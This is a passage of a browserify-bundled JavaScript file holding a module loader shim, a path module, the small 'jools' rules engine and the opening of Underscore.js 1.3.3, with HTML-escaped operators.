];\n            else parts = path.normalize(start).split('/');\n            \n            var dirs = [];\n            for (var i = parts.length - 1; i >= 0; i--) {\n                if (parts[i] === 'node_modules') continue;\n                var dir = parts.slice(0, i + 1).join('/') + '/node_modules';\n                dirs.push(dir);\n            }\n            \n            return dirs;\n        }\n    };\n})();\n/**\n * @memberof browser_jools\n */\nrequire.alias = function (from, to) {\n    var path = require.modules.path();\n    var res = null;\n    try {\n        res = require.resolve(from + '/package.json', '/');\n    }\n    catch (err) {\n        res = require.resolve(from, '/');\n    }\n    var basedir = path.dirname(res);\n    \n    var keys = (Object.keys || function (obj) {\n        var res = [];\n        for (var key in obj) res.push(key)\n        return res;\n    })(require.modules);\n    \n    for (var i = 0; i &lt; keys.length; i++) {\n        var key = keys[i];\n        if (key.slice(0, basedir.length + 1) === basedir + '/') {\n            var f = key.slice(basedir.length);\n            require.modules[to + f] = require.modules[basedir + f];\n        }\n        else if (key === basedir) {\n            require.modules[to] = require.modules[basedir];\n        }\n    }\n};\n/**\n * @memberof browser_jools\n */\nrequire.define = function (filename, fn) {\n    var dirname = require._core[filename]\n        ? ''\n        : require.modules.path().dirname(filename)\n    ;\n    \n    var require_ = function (file) {\n        return require(file, dirname)\n    };\n    require_.resolve = function (name) {\n        return require.resolve(name, dirname);\n    };\n    require_.modules = require.modules;\n    require_.define = require.define;\n    var module_ = { exports : {} };\n    \n    require.modules[filename] = function () {\n        require.modules[filename]._cached = module_.exports;\n        fn.call(\n            module_.exports,\n            require_,\n            module_,\n            module_.exports,\n            dirname,\n            filename\n        );\n        require.modules[filename]._cached = module_.exports;\n        return module_.exports;\n    };\n};\n\nif (typeof process === 'undefined') process = {};\n\nif (!process.nextTick) process.nextTick = (function () {\n    var queue = [];\n    var canPost = typeof window !== 'undefined'\n        &amp;&amp; window.postMessage &amp;&amp; window.addEventListener\n    ;\n    \n    if (canPost) {\n        window.addEventListener('message', function (ev) {\n            if (ev.source === window &amp;&amp; ev.data === 'browserify-tick') {\n                ev.stopPropagation();\n                if (queue.length > 0) {\n                    var fn = queue.shift();\n                    fn();\n                }\n            }\n        }, true);\n    }\n    \n    return function (fn) {\n        if (canPost) {\n            queue.push(fn);\n            window.postMessage('browserify-tick', '*');\n        }\n        else setTimeout(fn, 0);\n    };\n})();\n\nif (!process.title) process.title = 'browser';\n\nif (!process.binding) process.binding = function (name) {\n    if (name === 'evals') return require('vm')\n    else throw new Error('No such module')\n};\n\nif (!process.cwd) process.cwd = function () { return '.' };\n\nif (!process.env) process.env = {};\nif (!process.argv) process.argv = [];\n\nrequire.define(\"path\", function (require, module, exports, __dirname, __filename) {\nfunction filter (xs, fn) {\n    var res = [];\n    for (var i = 0; i &lt; xs.length; i++) {\n        if (fn(xs[i], i, xs)) res.push(xs[i]);\n    }\n    return res;\n}\n\n/**\n * resolves . and .. elements in a path array with directory names there\n * must be no slashes, empty elements, or device names (c:\\) in the array\n * (so also no leading and trailing slashes - it does not distinguish\n * relative and absolute paths)\n * @memberof browser_jools\n * @param parts \n * @param allowAboveRoot \n */\nfunction normalizeArray(parts, allowAboveRoot) {\n  // if the path tries to go above the root, `up` ends up > 0\n  var up = 0;\n  for (var i = parts.length; i >= 0; i--) {\n    var last = parts[i];\n    if (last == '.') {\n      parts.splice(i, 1);\n    } else if (last === '..') {\n      parts.splice(i, 1);\n      up++;\n    } else if (up) {\n      parts.splice(i, 1);\n      up--;\n    }\n  }\n\n  // if the path is allowed to go above the root, restore leading ..s\n  if (allowAboveRoot) {\n    for (; up--; up) {\n      parts.unshift('..');\n    }\n  }\n\n  return parts;\n}\n\n// Regex to split a filename into [*, dir, basename, ext]\n// posix version\nvar splitPathRe = /^(.+\\/(?!$)|\\/)?((?:.+?)?(\\.[^.]*)?)$/;\n\n// path.resolve([from ...], to)\n// posix version\nexports.resolve = function() {\nvar resolvedPath = '',\n    resolvedAbsolute = false;\n\nfor (var i = arguments.length; i >= -1 &amp;&amp; !resolvedAbsolute; i--) {\n  var path = (i >= 0)\n      ? arguments[i]\n      : process.cwd();\n\n  // Skip empty and invalid entries\n  if (typeof path !== 'string' || !path) {\n    continue;\n  }\n\n  resolvedPath = path + '/' + resolvedPath;\n  resolvedAbsolute = path.charAt(0) === '/';\n}\n\n// At this point the path should be resolved to a full absolute path, but\n// handle relative paths to be safe (might happen when process.cwd() fails)\n\n// Normalize the path\nresolvedPath = normalizeArray(filter(resolvedPath.split('/'), function(p) {\n    return !!p;\n  }), !resolvedAbsolute).join('/');\n\n  return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';\n};\n\n// path.normalize(path)\n// posix version\nexports.normalize = function(path) {\nvar isAbsolute = path.charAt(0) === '/',\n    trailingSlash = path.slice(-1) === '/';\n\n// Normalize the path\npath = normalizeArray(filter(path.split('/'), function(p) {\n    return !!p;\n  }), !isAbsolute).join('/');\n\n  if (!path &amp;&amp; !isAbsolute) {\n    path = '.';\n  }\n  if (path &amp;&amp; trailingSlash) {\n    path += '/';\n  }\n  \n  return (isAbsolute ? '/' : '') + path;\n};\n\n\n// posix version\nexports.join = function() {\n  var paths = Array.prototype.slice.call(arguments, 0);\n  return exports.normalize(filter(paths, function(p, index) {\n    return p &amp;&amp; typeof p === 'string';\n  }).join('/'));\n};\n\n\nexports.dirname = function(path) {\n  var dir = splitPathRe.exec(path)[1] || '';\n  var isWindows = false;\n  if (!dir) {\n    // No dirname\n    return '.';\n  } else if (dir.length === 1 ||\n      (isWindows &amp;&amp; dir.length &lt;= 3 &amp;&amp; dir.charAt(1) === ':')) {\n    // It is just a slash or a drive letter with a slash\n    return dir;\n  } else {\n    // It is a full dirname, strip trailing slash\n    return dir.substring(0, dir.length - 1);\n  }\n};\n\n\nexports.basename = function(path, ext) {\n  var f = splitPathRe.exec(path)[2] || '';\n  // TODO: make this comparison case-insensitive on windows?\n  if (ext &amp;&amp; f.substr(-1 * ext.length) === ext) {\n    f = f.substr(0, f.length - ext.length);\n  }\n  return f;\n};\n\n\nexports.extname = function(path) {\n  return splitPathRe.exec(path)[3] || '';\n};\n\n});\n\nrequire.define(\"/node_modules/jools/package.json\", function (require, module, exports, __dirname, __filename) {\nmodule.exports = {\"main\":\"./lib/jools\"}\n});\n\nrequire.define(\"/node_modules/jools/lib/jools.js\", function (require, module, exports, __dirname, __filename) {\n/**\n * Module dependencies.\n */\nvar utils = require('./utils')\n  , _ = require('underscore');\n\n/**\n * version\n * @memberof browser_jools\n */\nexports.version = '0.0.1';\n\n/**\n * Jools constructor.\n *\n * A rule consists of:\n *   - Descriptive name\n *   - One or more conditions\n *   - One or more consequences, which are fired when all conditions evaluate to true.\n * @memberof browser_jools\n * @param {Object} rules\n */\nfunction Jools(rules) {\n  this.rules = rules;\n}\n\n/**\n * execute rules with fact\n *\n * @param {Object} fact\n */\nJools.prototype.execute = function (fact) {\n  var self = this\n    , session = _.clone(fact)\n    , last_session = _.clone(fact)\n    , goal = false;\n\n  while (!goal) {\n    var changes = false;\n    for (var x=0; x &lt; this.rules.length; x++) {\n      var rule = this.rules[x]\n        , outcome;\n\n      _.flatten([rule.condition]).forEach(function (cnd) {\n        cnd.__args = cnd.__args || utils.paramNames(cnd); \n\n        if (outcome) {\n          outcome = outcome &amp;&amp; cnd.apply({}, utils.paramsToArguments(session, cnd.__args)); \n        } else {\n          outcome = cnd.apply({}, utils.paramsToArguments(session, cnd.__args));\n        }\n      });\n      if (outcome) {\n        _.flatten([rule.consequence]).forEach(function (csq) {\n          csq.__args = csq.__args || utils.paramNames(csq); \n          csq.apply(session, utils.paramsToArguments(fact, csq.__args));\n          if (!_.isEqual(last_session,session)) {\n            // Fire all rules again!\n            changes = true;\n            last_session = _.clone(session);\n          } \n        });\n      }\n      if(changes) break;\n    }\n    if (!changes) goal = true;\n  }\n  return session;\n};\n\nmodule.exports = Jools;\n\n\n});\n\nrequire.define(\"/node_modules/jools/lib/utils.js\", function (require, module, exports, __dirname, __filename) {\n/**\n * Returns an array of parameter names of the function f\n * @memberof browser_jools\n * @param {Function} f\n */\nmodule.exports.paramNames = function (f) {\n  var m = /function[^\\(]*\\(([^\\)]*)\\)/.exec(f.toString());\n  if (!m) throw new TypeError(\"Invalid functions\");\n\n  var params = [];\n  m[1].split(',').forEach(function (p) {\n    params.push(p.replace(/^\\s*|\\s*$/g, ''));\n  });\n\n  return params;\n};\n\n/**\n * Creates an array of arguments\n * @memberof browser_jools\n * @param {Object} obj\n * @param {Array} params\n */\nmodule.exports.paramsToArguments = function (obj, params) {\n  var args = [];\n  params.forEach(function (p) {\n    args.push(obj[p]);\n  });\n  return args;\n}\n\n\n});\n\nrequire.define(\"/node_modules/underscore/package.json\", function (require, module, exports, __dirname, __filename) {\nmodule.exports = {\"main\":\"underscore.js\"}\n});\n\nrequire.define(\"/node_modules/underscore/underscore.js\", function (require, module, exports, __dirname, __filename) {\n//     Underscore.js 1.3.3\n//     (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.\n//     Underscore is freely distributable under the MIT license.\n//     Portions of Underscore are inspired or borrowed from Prototype,\n//     Oliver Steele's Functional, and John Resig's Micro-Templating.\n//     For all details and documentation:\n//     http://documentcloud.github.com/underscore\n\n(function() {\n\n  // Baseline setup\n  // --------------\n\n  // Establish the root object, `window` in the browser, or `global` on the server.\n  var root = this;\n\n  // Save the previous value of the `_` variable.\n  var previousUnderscore = root._;\n\n  // Establish the object that gets returned to break out of a loop iteration.\n  var breaker = {};\n\n  // Save bytes in the minified (but not gzipped) version:\n  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;\n\n  // Create quick reference variables for speed access to core prototypes.\n  var slice            = ArrayProto.slice,\n      unshift          = ArrayProto.unshift,\n      toString         = ObjProto.toString,\n      hasOwnProperty   = ObjProto.hasOwnProperty;\n\n  // All **ECMAScript 5** native function implementations that we hope to use\n  // are declared here.\n  var\n    nativeForEach      = ArrayProto.forEach,\n    nativeMap          = ArrayProto.map,\n    nativeReduce       = ArrayProto.reduce,\n    nativeReduceRight  = ArrayProto.reduceRight,\n    nativeFilter       = ArrayProto.filter,\n    nativeEvery        = ArrayProto.every,\n    nativeSome         = ArrayProto.some,\n    nativeIndexOf      = ArrayProto.indexOf,\n    nativeLastIndexOf  = ArrayProto.lastIndexOf,\n    nativeIsArray      = Array.isArray,\n    nativeKeys         = Object.keys,\n    nativeBind         = FuncProto.bind;\n\n  // Create a safe reference to the Underscore object for use below.\n  var _ = function(obj) { return new wrapper(obj); };\n\n  // Export the Underscore object for **Node.js**, with\n  // backwards-compatibility for the old `require()` API. If we're in\n  // the browser, add `_` as a global object via a string identifier,\n  // for Closure Compiler \"advanced\" mode.\n  if (typeof exports !== 'undefined') {\n    if (typeof module !== 'undefined' &amp;&amp; module.exports) {\n      exports = module.exports = _;\n    }\n    exports._ = _;\n  } else {\n    root['_'] = _;\n  }\n\n  // Current version.\n  _.VERSION = '1.3.3';\n\n  // Collection Functions\n  // --------------------\n\n  // The cornerstone, an `each` implementation, aka `forEach`.\n  // Handles objects with the built-in `forEach`, arrays, and raw objects.\n  // Delegates to **ECMAScript 5**'s native `forEach` if available.\n  var each = _.each = _.forEach = function(obj, iterator, context) {\n    if (obj == null) return;\n    if (nativeForEach &amp;&amp; obj.forEach === nativeForEach) {\n      obj.forEach(iterator, context);\n    } else if (obj.length === +obj.length) {\n      for (var i = 0, l = obj.length; i &lt; l; i++) {\n        if (i in obj &amp;&amp; iterator.call(context, obj[i], i, obj) === breaker) return;\n      }\n    } else {\n      for (var key in obj) {\n        if (_.has(obj, key)) {\n          if (iterator.call(context, obj[key], key, obj) === breaker) return;\n        }\n      }\n    }\n  };\n\n  // Return the results of applying the iterator to each element.\n  // Delegates to **ECMAScript 5**'s native `map` if available.\n  _.map = _.collect = function(obj, iterator, context) {\n    var results = [];\n    if (obj == null) return results;\n    if (nativeMap &amp;&amp; obj.map === nativeMap) return obj.map(iterator, context);\n    each(obj, function(value, index, list) {\n      results[results.length] = iterator.call(context, value, index, list);\n    });\n    if (obj.length === +obj.length) results.length = obj.length;\n    return results;\n  };\n\n  // **Reduce** builds up a single result from a list of values, aka `inject`,\n  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.\n  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {\n    var initial = arguments.length > 2;\n    if (obj == null) obj = [];\n    if (nativeReduce &amp;&amp; obj.reduce === nativeReduce) {\n      if (context) iterator = _.bind(iterator, context);\n      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);\n    }\n    each(obj, function(value, index, list) {\n      if (!initial) {\n        memo = value;\n        initial = true;\n      } else {\n        memo = iterator.call(context, memo, value, index, list);\n      }\n    });\n    if (!initial) throw new TypeError('Reduce of empty array with no initial value');\n    return memo;\n  };\n\n  // The right-associative version of reduce, also known as `foldr`.\n  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.\n  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {\n    var initial = arguments.length > 2;\n    if (obj == null) obj = [];\n    if (nativeReduceRight &amp;&amp; obj.reduceRight === nativeReduceRight) {\n      if (context) iterator = _.bind(iterator, context);\n      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);\n    }\n    var reversed = _.toArray(obj).reverse();\n    if (context &amp;&amp; !initial) iterator = _.bind(iterator, context);\n    return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);\n  };\n\n  // Return the first value which passes a truth test. Aliased as `detect`.\n  _.find = _.detect = function(obj, iterator, context) {\n    var result;\n    any(obj, function(value, index, list) {\n      if (iterator.call(context, value, index, list)) {\n        result = value;\n        return true;\n      }\n    });\n    return result;\n  };\n\n  // Return all the elements that pass a truth test.\n  // Delegates to **ECMAScript 5**'s native `filter` if available.\n  // Aliased as `select`.\n  _.filter = _.select = function(obj, iterator, context) {\n    var results = [];\n    if (obj == null) return results;\n    if (nativeFilter &amp;&amp; obj.filter === nativeFilter) return obj.filter(iterator, context);\n    each(obj, function(value, index, list) {\n      if (iterator.call(context, value, index, list)) results[results.length] = value;\n    });\n    return results;\n  };\n\n  // Return all the elements for which a truth test fails.\n  _.reject = function(obj, iterator, context) {\n    var results = [];\n    if (obj == null) return results;\n    each(obj, function(value, index, list) {\n      if (!iterator.call(context, value, index, list)) results[results.length] = value;\n    });\n    return results;\n  };\n\n  // Determine whether all of the elements match a truth test.\n  // Delegates to **ECMAScript 5**'s native `every` if available.\n  // Aliased as `all`.\n  _.every = _.all = function(obj, iterator, context) {\n    var result = true;\n    if (obj == null) return result;\n    if (nativeEvery &amp;&amp; obj.every === nativeEvery) return obj.every(iterator, context);\n    each(obj, function(value, index, list) {\n      if (!(result = result &amp;&amp; iterator.call(context, value, index, list))) return breaker;\n    });\n    return !!result;\n  };\n\n  // Determine if at least one element in the object matches a truth test.\n  // Delegates to **ECMAScript 5**'s native `some` if available.\n  // Aliased as `any`.\n  var any = _.some = _.any = function(obj, iterator, context) {\n    iterator || (iterator = _.identity);\n    var result = false;\n    if (obj == null) return result;\n    if (nativeSome &amp;&amp; obj.some === nativeSome) return obj.some(iterator, context);\n    each(obj, function(value, index, list) {\n      if (result || (result = iterator.call(context, value, index, list))) return breaker;\n    });\n    return !!result;\n  };\n\n  // Determine if a given value is included in the array or object using `===`.\n  // Aliased as `contains`.\n  _.include = _.contains = function(obj, target) {\n    var found = false;\n    if (obj == null) return found;\n    if (nativeIndexOf &amp;&amp; obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;\n    found = any(obj, function(value) {\n      return value === target;\n    });\n    return found;\n  };\n\n  // Invoke a method (with arguments) on every item in a collection.\n  _.invoke = function(obj, method) {\n    var args = slice.call(arguments, 2);\n    return _.map(obj, function(value) {\n      return (_.isFunction(method) ? method || value : value[method]).apply(value, args);\n    });\n  };\n\n  // Convenience version of a common use case of `map`: fetching a property.\n  _.pluck = function(obj, key) {\n    return _.map(obj, function(value){ return value[key]; });\n  };\n\n  // Return the maximum element or (element-based computation).\n  _.max = function(obj, iterator, context) {\n    if (!iterator &amp;&amp; _.isArray(obj) &amp;&amp; obj[0] === +obj[0]) return Math.max.apply(Math, obj);\n    if (!iterator &amp;&amp; _.isEmpty(obj)) return -Infinity;\n    var result = {computed : -Infinity};\n    each(obj, function(value, index, list) {\n      var computed = iterator ? iterator.call(context, value, index, list) : value;\n      computed >= result.computed &amp;&amp; (result = {value : value, computed : computed});\n    });\n    return result.value;\n  };\n\n  // Return the minimum element (or element-based computation).\n  _.min = function(obj, iterator, context) {\n    if (!iterator &amp;&amp; _.isArray(obj) &amp;&amp; obj[0] === +obj[0]) return Math.min.apply(Math, obj);\n    if (!iterator &amp;&amp; _.isEmpty(obj)) return Infinity;\n    var result = {computed : Infinity};\n    each(obj, function(value, index, list) {\n      var computed = iterator ? iterator.call(context, value, index, list) : value;\n      computed &lt; result.computed &amp;&amp; (result = {value : value, computed : computed});\n    });\n    return result.value;\n  };\n\n  // Shuffle an array.\n  _.shuffle = function(obj) {\n    var shuffled = [], rand;\n    each(obj, function(value, index, list) {\n      rand = Math.floor(Math.random() * (index + 1));\n      shuffled[index] = shuffled[rand];\n      shuffled[rand] = value;\n    });\n    return shuffled;\n  };\n\n  // Sort the object's values by a criterion produced by an iterator.\n  _.sortBy = function(obj, val, context) {\n    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };\n    return _.pluck(_.map(obj, function(value, index, list) {\n      return {\n        value : value,\n        criteria : iterator.call(context, value, index, list)\n      };\n    }).sort(function(left, right) {\n      var a = left.criteria, b = right.criteria;\n      if (a === void 0) return 1;\n      if (b === void 0) return -1;\n      return a &lt; b ? -1 : a > b ? 1 : 0;\n    }), 'value');\n  };\n\n  // Groups the object's values by a criterion. Pass either a string attribute\n  // to group by, or a function that returns the criterion.\n  _.groupBy = function(obj, val) {\n    var result = {};\n    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };\n    each(obj, function(value, index) {\n      var key = iterator(value, index);\n      (result[key] || (result[key] = [])).push(value);\n    });\n    return result;\n  };\n\n  // Use a comparator function to figure out at what index an object should\n  // be inserted so as to maintain order. Uses binary search.\n  _.sortedIndex = function(array, obj, iterator) {\n    iterator || (iterator = _.identity);\n    var low = 0, high = array.length;\n    while (low &lt; high) {\n      var mid = (low + high) >> 1;\n      iterator(array[mid]) &lt; iterator(obj) ? low = mid + 1 : high = mid;\n    }\n    return low;\n  };\n\n  // Safely convert anything iterable into a real, live array.\n  _.toArray = function(obj) {\n    if (!obj)                                     return [];\n    if (_.isArray(obj))                           return slice.call(obj);\n    if (_.isArguments(obj))                       return slice.call(obj);\n    if (obj.toArray &amp;&amp; _.isFunction(obj.toArray)) return obj.toArray();\n    return _.values(obj);\n  };\n\n  // Return the number of elements in an object.\n  _.size = function(obj) {\n    return _.isArray(obj) ? obj.length : _.keys(obj).length;\n  };\n\n  // Array Functions\n  // ---------------\n\n  // Get the first element of an array. Passing **n** will return the first N\n  // values in the array. Aliased as `head` and `take`. The **guard** check\n  // allows it to work with `_.map`.\n  _.first = _.head = _.take = function(array, n, guard) {\n    return (n != null) &amp;&amp; !guard ? slice.call(array, 0, n) : array[0];\n  };\n\n  // Returns everything but the last entry of the array. Especcialy useful on\n  // the arguments object. Passing **n** will return all the values in\n  // the array, excluding the last N. The **guard** check allows it to work with\n  // `_.map`.\n  _.initial = function(array, n, guard) {\n    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));\n  };\n\n  // Get the last element of an array. Passing **n** will return the last N\n  // values in the array. The **guard** check allows it to work with `_.map`.\n  _.last = function(array, n, guard) {\n    if ((n != null) &amp;&amp; !guard) {\n      return slice.call(array, Math.max(array.length - n, 0));\n    } else {\n      return array[array.length - 1];\n    }\n  };\n\n  // Returns everything but the first entry of the array. Aliased as `tail`.\n  // Especially useful on the arguments object. Passing an **index** will return\n  // the rest of the values in the array from that index onward. The **guard**\n  // check allows it to work with `_.map`.\n  _.rest = _.tail = function(array, index, guard) {\n    return slice.call(array, (index == null) || guard ? 1 : index);\n  };\n\n  // Trim out all falsy values from an array.\n  _.compact = function(array) {\n    return _.filter(array, function(value){ return !!value; });\n  };\n\n  // Return a completely flattened version of an array.\n  _.flatten = function(array, shallow) {\n    return _.reduce(array, function(memo, value) {\n      if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));\n      memo[memo.length] = value;\n      return memo;\n    }, []);\n  };\n\n  // Return a version of the array that does not contain the specified value(s).\n  _.without = function(array) {\n    return _.difference(array, slice.call(arguments, 1));\n  };\n\n  // Produce a duplicate-free version of the array. If the array has already\n  // been sorted, you have the option of using a faster algorithm.\n  // Aliased as `unique`.\n  _.uniq = _.unique = function(array, isSorted, iterator) {\n    var initial = iterator ? _.map(array, iterator) : array;\n    var results = [];\n    // The `isSorted` flag is irrelevant if the array only contains two elements.\n    if (array.length &lt; 3) isSorted = true;\n    _.reduce(initial, function (memo, value, index) {\n      if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) {\n        memo.push(value);\n        results.push(array[index]);\n      }\n      return memo;\n    }, []);\n    return results;\n  };\n\n  // Produce an array that contains the union: each distinct element from all of\n  // the passed-in arrays.\n  _.union = function() {\n    return _.uniq(_.flatten(arguments, true));\n  };\n\n  // Produce an array that contains every item shared between all the\n  // passed-in arrays. (Aliased as \"intersect\" for back-compat.)\n  _.intersection = _.intersect = function(array) {\n    var rest = slice.call(arguments, 1);\n    return _.filter(_.uniq(array), function(item) {\n      return _.every(rest, function(other) {\n        return _.indexOf(other, item) >= 0;\n      });\n    });\n  };\n\n  // Take the difference between one array and a number of other arrays.\n  // Only the elements present in just the first array will remain.\n  _.difference = function(array) {\n    var rest = _.flatten(slice.call(arguments, 1), true);\n    return _.filter(array, function(value){ return !_.include(rest, value); });\n  };\n\n  // Zip together multiple lists into a single array -- elements that share\n  // an index go together.\n  _.zip = function() {\n    var args = slice.call(arguments);\n    var length = _.max(_.pluck(args, 'length'));\n    var results = new Array(length);\n    for (var i = 0; i &lt; length; i++) results[i] = _.pluck(args, \"\" + i);\n    return results;\n  };\n\n  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),\n  // we need this function. Return the position of the first occurrence of an\n  // item in an array, or -1 if the item is not included in the array.\n  // Delegates to **ECMAScript 5**'s native `indexOf` if available.\n  // If the array is large and already in sort order, pass `true`\n  // for **isSorted** to use binary search.\n  _.indexOf = function(array, item, isSorted) {\n    if (array == null) return -1;\n    var i, l;\n    if (isSorted) {\n      i = _.sortedIndex(array, item);\n      return array[i] === item ? i : -1;\n    }\n    if (nativeIndexOf &amp;&amp; array.indexOf === nativeIndexOf) return array.indexOf(item);\n    for (i = 0, l = array.length; i &lt; l; i++) if (i in array &amp;&amp; array[i] === item) return i;\n    return -1;\n  };\n\n  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.\n  _.lastIndexOf = function(array, item) {\n    if (array == null) return -1;\n    if (nativeLastIndexOf &amp;&amp; array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);\n    var i = array.length;\n    while (i--) if (i in array &amp;&amp; array[i] === item) return i;\n    return -1;\n  };\n\n  // Generate an integer Array containing an arithmetic progression. A port of\n  // the native Python `range()` function. See\n  // [the Python documentation](http://docs.python.org/library/functions.html#range).\n  _.range = function(start, stop, step) {\n    if (arguments.length &lt;= 1) {\n      stop = start || 0;\n      start = 0;\n    }\n    step = arguments[2] || 1;\n\n    var len = Math.max(Math.ceil((stop - start) / step), 0);\n    var idx = 0;\n    var range = new Array(len);\n\n    while(idx &lt; len) {\n      range[idx++] = start;\n      start += step;\n    }\n\n    return range;\n  };\n\n  // Function (ahem) Functions\n  // ------------------\n\n  // Reusable constructor function for prototype setting.\n  var ctor = function(){};\n\n  // Create a function bound to a given object (assigning `this`, and arguments,\n  // optionally). Binding with arguments is also known as `curry`.\n  // Delegates to **ECMAScript 5**'s native `Function.bind` if available.\n  // We check for `func.bind` first, to fail fast when `func` is undefined.\n  _.bind = function bind(func, context) {\n    var bound, args;\n    if (func.bind === nativeBind &amp;&amp; nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));\n    if (!_.isFunction(func)) throw new TypeError;\n    args = slice.call(arguments, 2);\n    return bound = function() {\n      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));\n      ctor.prototype = func.prototype;\n      var self = new ctor;\n      var result = func.apply(self, args.concat(slice.call(arguments)));\n      if (Object(result) === result) return result;\n      return self;\n    };\n  };\n\n  // Bind all of an object's methods to that object. Useful for ensuring that\n  // all callbacks defined on an object belong to it.\n  _.bindAll = function(obj) {\n    var funcs = slice.call(arguments, 1);\n    if (funcs.length == 0) funcs = _.functions(obj);\n    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });\n    return obj;\n  };\n\n  // Memoize an expensive function by storing its results.\n  _.memoize = function(func, hasher) {\n    var memo = {};\n    hasher || (hasher = _.identity);\n    return function() {\n      var key = hasher.apply(this, arguments);\n      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));\n    };\n  };\n\n  // Delays a function for the given number of milliseconds, and then calls\n  // it with the arguments supplied.\n  _.delay = function(func, wait) {\n    var args = slice.call(arguments, 2);\n    return setTimeout(function(){ return func.apply(null, args); }, wait);\n  };\n\n  // Defers a function, scheduling it to run after the current call stack has\n  // cleared.\n  _.defer = function(func) {\n    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));\n  };\n\n  // Returns a function, that, when invoked, will only be triggered at most once\n  // during a given window of time.\n  _.throttle = function(func, wait) {\n    var context, args, timeout, throttling, more, result;\n    var whenDone = _.debounce(function(){ more = throttling = false; }, wait);\n    return function() {\n      context = this; args = arguments;\n      var later = function() {\n        timeout = null;\n        if (more) func.apply(context, args);\n        whenDone();\n      };\n      if (!timeout) timeout = setTimeout(later, wait);\n      if (throttling) {\n        more = true;\n      } else {\n        result = func.apply(context, args);\n      }\n      whenDone();\n      throttling = true;\n      return result;\n    };\n  };\n\n  // Returns a function, that, as long as it continues to be invoked, will not\n  // be triggered. The function will be called after it stops being called for\n  // N milliseconds. If `immediate` is passed, trigger the function on the\n  // leading edge, instead of the trailing.\n  _.debounce = function(func, wait, immediate) {\n    var timeout;\n    return function() {\n      var context = this, args = arguments;\n      var later = function() {\n        timeout = null;\n        if (!immediate) func.apply(context, args);\n      };\n      if (immediate &amp;&amp; !timeout) func.apply(context, args);\n      clearTimeout(timeout);\n      timeout = setTimeout(later, wait);\n    };\n  };\n\n  // Returns a function that will be executed at most one time, no matter how\n  // often you call it. Useful for lazy initialization.\n  _.once = function(func) {\n    var ran = false, memo;\n    return function() {\n      if (ran) return memo;\n      ran = true;\n      return memo = func.apply(this, arguments);\n    };\n  };\n\n  // Returns the first function passed as an argument to the second,\n  // allowing you to adjust arguments, run code before and after, and\n  // conditionally execute the original function.\n  _.wrap = function(func, wrapper) {\n    return function() {\n      var args = [func].concat(slice.call(arguments, 0));\n      return wrapper.apply(this, args);\n    };\n  };\n\n  // Returns a function that is the composition of a list of functions, each\n  // consuming the return value of the function that follows.\n  _.compose = function() {\n    var funcs = arguments;\n    return function() {\n      var args = arguments;\n      for (var i = funcs.length - 1; i >= 0; i--) {\n        args = [funcs[i].apply(this, args)];\n      }\n      return args[0];\n    };\n  };\n\n  // Returns a function that will only be executed after being called N times.\n  _.after = function(times, func) {\n    if (times &lt;= 0) return func();\n    return function() {\n      if (--times &lt; 1) { return func.apply(this, arguments); }\n    };\n  };\n\n  // Object Functions\n  // ----------------\n\n  // Retrieve the names of an object's properties.\n  // Delegates to **ECMAScript 5**'s native `Object.keys`\n  _.keys = nativeKeys || function(obj) {\n    if (obj !== Object(obj)) throw new TypeError('Invalid object');\n    var keys = [];\n    for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;\n    return keys;\n  };\n\n  // Retrieve the values of an object's properties.\n  _.values = function(obj) {\n    return _.map(obj, _.identity);\n  };\n\n  // Return a sorted list of the function names available on the object.\n  // Aliased as `methods`\n  _.functions = _.methods = function(obj) {\n    var names = [];\n    for (var key in obj) {\n      if (_.isFunction(obj[key])) names.push(key);\n    }\n    return names.sort();\n  };\n\n  // Extend a given object with all the properties in passed-in object(s).\n  _.extend = function(obj) {\n    each(slice.call(arguments, 1), function(source) {\n      for (var prop in source) {\n        obj[prop] = source[prop];\n      }\n    });\n    return obj;\n  };\n\n  // Return a copy of the object only containing the whitelisted properties.\n  _.pick = function(obj) {\n    var result = {};\n    each(_.flatten(slice.call(arguments, 1)), function(key) {\n      if (key in obj) result[key] = obj[key];\n    });\n    return result;\n  };\n\n  // Fill in a given object with default properties.\n  _.defaults = function(obj) {\n    each(slice.call(arguments, 1), function(source) {\n      for (var prop in source) {\n        if (obj[prop] == null) obj[prop] = source[prop];\n      }\n    });\n    return obj;\n  };\n\n  // Create a (shallow-cloned) duplicate of an object.\n  _.clone = function(obj) {\n    if (!_.isObject(obj)) return obj;\n    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);\n  };\n\n  // Invokes interceptor with the obj, and then returns obj.\n  // The primary purpose of this method is to \"tap into\" a method chain, in\n  // order to perform operations on intermediate results within the chain.\n  _.tap = function(obj, interceptor) {\n    interceptor(obj);\n    return obj;\n  };\n\n  // Internal recursive comparison function.\n  function eq(a, b, stack) {\n    // Identical objects are equal. `0 === -0`, but they aren't identical.\n    // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.\n    if (a === b) return a !== 0 || 1 / a == 1 / b;\n    // A strict comparison is necessary because `null == undefined`.\n    if (a == null || b == null) return a === b;\n    // Unwrap any wrapped objects.\n    if (a._chain) a = a._wrapped;\n    if (b._chain) b = b._wrapped;\n    // Invoke a custom `isEqual` method if one is provided.\n    if 